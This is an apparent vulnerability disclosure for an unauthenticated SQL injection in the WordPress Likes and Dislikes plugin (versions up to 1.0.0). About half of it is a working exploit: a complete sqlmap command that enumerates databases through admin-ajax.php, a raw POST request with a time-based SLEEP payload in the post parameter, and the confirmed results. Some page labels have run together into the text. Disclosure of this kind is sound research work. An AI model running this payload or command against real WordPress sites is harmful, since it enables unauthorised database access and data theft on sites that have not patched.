
WordPress Likes and Dislikes Plugin <= 1.0.0 is vulnerable to SQL Injection
Discovered by: Khaled_Alenazi (Nxploited) Published on: 27 May, 2025
The Likes and Dislikes Plugin for WordPress is vulnerable to SQL Injection through the post parameter in all versions up to and including 1.0.0.
Due to insufficient escaping and lack of prepared statements, unauthenticated attackers can inject raw SQL into backend queries, leading to data leakage or manipulation.
post/wp-admin/admin-ajax.phpsqlmap -u "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=my_likes_dislikes_action&post=1&state=like" \
--method POST --risk 3 --level 5 --batch --time-sec=5 --dbs
This command confirms the injection point and enumerates databases using a time-based technique.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: nxploit.ddev.site
Content-Type: application/x-www-form-urlencoded
Connection: close
action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like
boolean-based blind and time-based blind SQLi.
- Confirmed backend is MySQL.
- Enumerated databases: db, test, information_schema. 
15 seconds, indicating true injection. 
post.This content is provided for educational and research purposes only. The author does not condone malicious activity or exploitation of systems without explicit authorization.
Khaled_Alenazi (Nxploited)